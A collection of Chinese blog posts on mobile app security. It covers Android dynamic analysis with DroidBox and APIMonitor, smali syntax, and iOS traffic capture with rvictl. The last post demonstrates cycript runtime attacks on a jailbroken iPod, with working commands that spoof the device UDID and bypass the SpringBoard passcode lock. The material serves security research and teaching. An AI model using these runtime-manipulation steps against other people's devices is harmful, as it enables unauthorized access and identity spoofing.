总的来说,对与android APP的安全检查,一般会关注文件系统存储网络通信安装包逆向这三个方面,除了anroid可执行的分析方式与传统的PC富客户端应用不同,例如是dex格式,是基于arm体系的,其他均与传统的富客户端应用安全研究方法相同。而目前比较成熟一点的都是android安装包审计,包括静态分析二进制文件、逆向源码,动态分析APP API调用,基本都是传统的恶意软件/病毒分析公司或研究机构推动着这些技术的发展。试用过一些开源的审计工具,其实能检测出准确安全问题的还非常有限,这一块还在发展中,是机会也是挑战。


 

上面两幅图,左边的图显示了目前android应用安全的关注领域,右边的图显示了android应用安全研究的一些方向,当然只是我个人的一些想法,其中android逆向防护常见于游戏等需要软件保护的行业,android自动化审计与渗透则不区分行业了,不同的是厂商做安全工具,个人用安全工具。反正每一块都有待发展,加油。

来源:碳基体

DroidBox-Android APP动态分析工具&APIMonitor

一、DroidBox简介

DroidBox是一款,可以获得以下信息


1.APK包hash值

2.网络通信数据

3.文件读写操作

4.网络通信,文件读写,SMS中的信息泄露

5.权限漏洞

6.调用Android API进行的加密操作

7.Broadcast receiver组件信息

8.SMS短信与电话信息

9.DexClassLoader加载信息


并展示可视化的结果

 

 



二、安装运行

前置条件

为了得到可视化的分析结果,需要安装 pylab and matplotlib

安装

1.配置好Android SDK环境变量

export ANDROID_SDK_HOME=/home/dani/android/android-sdk-linux

export PATH=$ANDROID_SDK_HOME/tools:$ANDROID_SDK_HOME/platform-tools:$PATH

2.下载Drodibox

wget https://droidbox.googlecode.com/files/DroidBox.tar.gz

3.安装依赖包

apt-get install git python-dev python-numpy python-scipy python-matplotlib ipython ipython-notebook python-pandas python-sympy python-nose

4.创建一个AVD(android 2.1/2.3)

我创建的是API Level

android create avd -n <avd name> -t <android id>

5.启动创建的AVD

./startemu.sh <avd name>

或者

emulator -avd <avd name> -system images/system.img -ramdisk images/ramdisk.img -kernel images/zImage -prop dalvik.vm.execution-mode=int:portable &


6.当模拟器启动后,开始分析

./droidbox.sh <file.apk> <duration in secs可选>


二、APIMonitor

1.简介

由于Andorid更新很快,较之Droidbox这种通过hook系统动态分析APK行为的方法,APIMonitor这种通过在APK包中注入监控代码(监控API调用然后保存为日志)然后重打包APK包的方法要更为适用。


2.安装

easy_install pip

pip install python-magic

wget https://droidbox.googlecode.com/files/APIMonitor-beta3.tar.gz

3.运行

cd APIMonitor-beta/

./apimonitor.py xx.apk<APK文件路径>

通过上面的操纵就会生成新的APK,在android设备上运行该应用,APP中的API调用会存储在日志中,以供查看,默认监控的API列表存放在config/default_api_collection文件下,如下所示

# DEFAULT API LIST# IntentLandroid/content/Intent;-><init> #signature of methods with the same nameLandroid/content/ContextWrapper;->sendBroadcast #signature of one methodsLandroid/content/ContextWrapper;->sendOrderedBroadcastLandroid/content/ContextWrapper;->sendStickyBroadcastLandroid/content/ContextWrapper;->sendStickyOrderedBroadcastLandroid/content/ContextWrapper;->startActivityLandroid/content/ContextWrapper;->startActivities# UriLandroid/net/Uri;->parse(Ljava/lang/String;)# File IOLandroid/content/ContextWrapper;->openFileInputLandroid/content/ContextWrapper;->openFileOutputLjava/io/FileReader;-><init>Ljava/io/FileWriter;-><init># Network IOLjava/net/URL;-><init>Ljava/net/URL;->openConnectionLjava/net/URL;->openStream# IOLjava/io/Reader;->readLjava/io/Writer;->writeLjava/io/BufferedReader;->readLjava/io/BufferedReader;->readLineLjava/io/BufferedWriter;->writeLjava/io/BufferedWriter;->newLineLjava/io/InputStreamReader;->readLjava/io/OutputStreamWriter;->writeLjava/io/CharArrayReader;->readLjava/io/CharArrayWriter;->writeLjava/io/CharArrayWriter;->writeToLjava/io/FilterReader;->readLjava/io/FilterWriter;->writeLjava/io/StringReader;->readLjava/io/StringWriter;->writeLjava/io/PrintWriter;->appendLjava/io/PrintWriter;->formatLjava/io/PrintWriter;->printLjava/io/PrintWriter;->printfLjava/io/PrintWriter;->printlnLjava/io/PrintWriter;->write# DatabaseLandroid/content/ContextWrapper;->openOrCreateDatabaseLandroid/database/sqlite/SQLiteDatabase;->openDatabaseLandroid/database/sqlite/SQLiteDatabase;->openOrCreateDatabaseLandroid/database/sqlite/SQLiteDatabase;->queryLandroid/database/sqlite/SQLiteDatabase;->rawQueryLandroid/database/sqlite/SQLiteDatabase;->queryWithFactoryLandroid/database/sqlite/SQLiteDatabase;->rawQueryWithFactory# All methods of ContentResolverLandroid/content/ContentResolver;//signature of all methods of the same class#Landroid.content.ContentResolver;->query#Landroid.content.ContentResolver;->insert#Landroid.content.ContentResolver;->openInputStream#Landroid.content.ContentResolver;->openOutputStream#Landroid.content.ContentProviderClient;->query#Landroid.content.ContentProviderClient;->insert#Landroid.content.ContentProviderClient;->bulkInsert#Landroid.content.ContentProviderClient;->delete#Landroid.content.ContentProviderClient;->openAssetFile# SMSLandroid/telephony/SmsManager;->sendTextMessageLandroid/telephony/SmsManager;->sendDataMessageLandroid/telephony/SmsManager;->sendMultipartTextMessage# App ListLandroid/content/pm/PackageManager;->getInstalledApplications# TelephonyManagerLandroid/telephony/TelephonyManager;->getDeviceIdLandroid/telephony/TelephonyManager;->getSubscriberIdLandroid/telephony/TelephonyManager;->getCallStateLandroid/telephony/TelephonyManager;->getCellLocation# DigestLjava/security/MessageDigest;->getInstanceLjava/security/MessageDigest;->updateLjava/security/MessageDigest;->digest# CipherLjavax/crypto/Cipher;->getInstanceLjavax/crypto/spec/SecretKeySpec;-><init>Ljavax/crypto/Cipher;->initLjavax/crypto/Cipher;->doFinal

我们可以通过修改该文件来指定想要监控的API。




参考:

https://code.google.com/p/droidbox/

https://mohsin-junaid.blogspot.com/2013/02/Dynamic-analysis-with-droidbox.html


来源:碳基体

smali语法

来自smali的wiki说明

一、类型

Dalvik的字节码中有两个主要类型:基类和引用类型。引用类型是对象和数组,其他都是基类

(1)基类


   (2)对象

Lpackage/name/ObjectName

L表明这是一个对象类型

e.g. "Ljava/lang/String"等同于java.lang.String


   (3)数组(数组维度最多255)

   

二、方法

方法包括方法名,参数类型和返回值

Lpackage/name/ObjectName;->MethodName(III)Z

Lpackage/name/OjectName表示类

MethodName表示方法名

III表示三个整型参数

Z表示返回值为布尔类型


三、field(一般翻译为字段,我理解的是变量定义)

field包括包名,变量名,变量类型

Lpackage/name/ObjectName;->FieldName:Ljava/lang/String;



四、寄存器

在dalvik字节码中,寄存器都是32位,64位类型(long,double)需要用2个寄存器存放。


有两种方式指定一个方法中有多少寄存器可用。.registers指令指定了方法中的寄存器总数。.locals指令指定方法中非参寄存器的数量。


寄存器有两种命名方式,V命名方式和P命名方法。P命名方式中的第一个寄存器就是方法中的第一个参数寄存器

v0    第一个local register
v1    第二个local register
v2  p0  第一个parameter register
v3  p1  第二个parameter register
v4  p2  第三个parameter register 


e.g. 对于非静态方法 LMyObject;->MyMethod(IJZ)V, 参数分别是LMyObject,int,long(64位),bool,需要5个寄存器来存储参数

p0  this
p1  I
p2,p3  J
p4  Z  



五、例子

e.g.1

const v0, 0
invoke-virtual {v0}, Ljava/lang/Object;->toString();

相当于

Object blah = null;
blah.toString();


e.g.2

sget-object v5, Lcom/google/youngandroid/runtime;->Lit227:Lgnu/mapping/SimpleSymbol; 

相当于

gnu.mapping.SimpleSymbol localVariable = com.google.youngandroid.runtime.Lit227; 

即获取com.google.youngandroid.runtime中的Lit227字段存入v5寄存器


e.g.3

sput-object v0, Lcom/google/youngandroid/runtime;->Lit78:Lkawa/lang/SyntaxTemplate; 

相当于

com.google.youngandroid.runtime.Lit78 = kawa.lang.SyntaxTemplate localVariable; 

即将v0寄存器中存放的kawa.lang.SyntaxTemplate类型变量的值赋给com.google.youngandroid.runtime.Lit78


六、smali语法高亮

editplus 上smali语法高亮文件 https://www.editplus.com/dn.php?n=smali.rar 

(来自非虫,非常欣赏这位大牛,技术厉害不用说,还乐于分享,在看雪上发布了很多android逆向的教程)

 

 

七、davlik opcode

https://pallergabor.uw.hu/androidblog/dalvik_opcodes.html 


八、常见源码结构

1. 构造函数

public class example {
private static int Counter;

public example() { Counter = 16; }

对应的smali

   

2.for结构

public static void LoopExample()
{
for ( int i = 0; i < Counter; i++ )
System.out.println("current val for loop: " + i);
}

对应的smali

   

3.switch结构

public static void SwitchExample()
{
int val = 42;
switch (val) {
case 1: System.out.println("val 1"); break;
case 2: System.out.println("val 2"); break;
case 42: System.out.println("val 42"); break;
case 5: System.out.println("val 5"); break;
default: System.out.println("invalid value");break;
}
}

对应的smali

  在smali中,switch结构,首先使用spare-switch解析default分支,接着处理其他分支.这种处理流程,会导致在使用dex2jar进行反编译时(将dex文件转换为jar)出错,使用ded进行反编译的结果会稍微好一点。


4.try-catch

public static void TryCatchExample()
{
String urlStr = "google.com";
try {
// Get the image
URL url = new URL(urlStr);
InputStream is = url.openStream();
is.close();
} catch (MalformedURLException e) {
// Print out the exception that occurred
System.out.println("Invalid_URL" + urlStr + " :" + e.getMessage());
} catch (IOException e) {
// Print out the exception that occurred
System.out.println("Unable?to?execute" + urlStr + ":" + e.getMessage());
}
}

catch部分对应的smaili

 同样的,使用ded进行反编译的结果会稍微好一点


5.数组

public static void ArrayExample()
{
String someArray[] = new String[5];

someArray[0] = "set value at index 0";
someArray[1] = "index 1 has this value";

if ( someArray[0].equals(someArray[1]) )
{
System.out.println("array at index 0 = 1 (wont?happen)");
}
}

对应的smali

 


参考:

https://code.google.com/p/smali/wiki/TypesMethodsAndFields 

https://bbs.pediy.com/showthread.php?t=151769 

Android恶意代码分析 claud

来源:碳基体

iOS APP网络分析之rvictl(可以捕捉除了Wifi以外的网络类型)

iOS应用(包括移动应用)的网络分析,一般采用将移动设备上的流量导入到PC机上,利用PC上成熟的数据包分析工具例如wireshark等来进行分析的方法。


总的来说,有以下三种方法:


一、在PC上设置网络共享,生成wifi热点供移动设备使用


二、开启http代理工具服务器(例如burpsuite,charles),然后移动设备通过该HTTP代理上网(只能抓取HTTP/HTTPS)


三、使用管道(tunneling)工具例如nc+ADVsock2pipe将iOS上的流量引入到PC上 (需越狱)


实施方法可参考:

iPhone上使用Burp Suite捕捉HTTPS通信包方法

mobile app 通信分析方法小议(iOS/Android)

实时抓取移动设备上的通信包(ADVsock2pipe+Wireshark+nc+tcpdump)


以上方法都存在缺陷,例如只能捕捉wifi网络通信,不能抓取2G/3G网络包的缺陷。


iOS 5后,apple引入了RVI remote virtual interface的特性,它只需要将iOS设备使用USB数据线连接到mac上,然后使用rvictl工具以iOS设备的UDID为参数在Mac中建立一个虚拟网络接口rvi,就可以在mac设备上使用tcpdump,wireshark等工具对创建的接口进行抓包分析了。


 

这种流量分析方法,是直接捕捉的iOS设备上的网络流量,因此无论是wifi还是2G/3G等其他网络类型都可以捕捉到,一根USB数据线就搞定了,不需要苛刻的要求PC与iOS设备处于同一个网段,或必须越狱等局限了。


下面介绍使用方法


第一步:使用USB数据线将iOS设备连接到MAC上


第二步:获得iOS设备的UDID,可以使用iTools查看,也可以使用Xcode的Organizer工具查看


第三步:创建RVI接口

$ rvictl -s <UDID> 


RVI虚拟接口的命令规则可为rvi0,rvi1,。。。,创建后可以使用以下命令查看是否创建成功

$ ifconfig rvi0

第四步:在mac上用抓包工具wireshark或tcpdump等工具抓包分析

$ sudo tcpdump -i rvi0 -n -vv

 

第五步:分析结束后,移除创建的RVI接口

$ rvictl -x <UDID>


参考:

https://www.winddisk.com/2012/09/01/mac_capture_iphone_package_remote_virtual_interface/

https://useyourloaf.com/blog/2012/02/07/remote-packet-capture-for-ios-devices.html

来源:碳基体

iOS runtime攻击-cycript

iOS runtime攻击,目前流行的有两种方式,一种是动态链接库注入,通过编写定制的dylib文件与设置DYLD_INSERT_LIBRARIES环境变量来修改API方法的实现(可参照Mac hook-DYLD_INSERT_LIBRARIES中的例子);还有一种方法就是利用objective-c runtime的消息机制的特性,特别是objc_msgSend,来操作应用,其中以cycript这种混合了objective-c与javascript语法的工具为翘楚。接下来介绍一下使用cycript操纵iOS应用运行时的例子。


例子1:伪造UDID(UIDevice类说明


第一步:选择待操作的进程

danimato-iPod:~ root# cycript -p 8442(可以是进程id,也可以是进程名)


第二步:获得当前设备的UDID

cy# [[UIDevice currentDevice] uniqueIdentifier];
@"a94b65f9ac84c9d5bb7f377d5122a622ea1addf6"


第三步:替换uniqueIdentifier实现方法的实现

cy# UIDevice.messages['uniqueIdentifier'] = function(){ return @"tanjiti";}
function () {return Instance.box("tanjiti");}


第四步:检查替换后的UDID获取结果

cy# [[UIDevice currentDevice] uniqueIdentifier];
@"tanjiti"


例子2: 解锁屏幕锁定PIN(SpringBoard/SBAwayController.h说明)


第一步:选择待操作的进程

danimato-iPod:~ root# cycript -p SpringBoard

第二步:检查设备是否开启了密码锁定功能(1表示锁定,0表示解锁)

cy# [SBAwayController.sharedAwayController isPasswordProtected]
1

第三步:替换isPasswordProtected实现方法

cy# SBAwayController.messages['isPasswordProtected']=function(){return NO;}
function () {return NO;}

第四步:检查替换后设备的锁定状态(1表示锁定,0表示解锁)

cy# [SBAwayController.sharedAwayController isPasswordProtected]
0

第五步:最后调用unlockWithSound方法来访问home屏幕

cy# [SBAwayController.sharedAwayController unlockWithSound:1]

通过以上操作,成功解锁屏幕锁定


接下来会写一下runtime attack中的核心组件MobileSubstrate,与非常流行的Theos越狱开发框架。


参考:

https://iphonedevwiki.net/index.php/Cycript

https://iphonedevwiki.net/index.php/Cycript_Tricks

来源:碳基体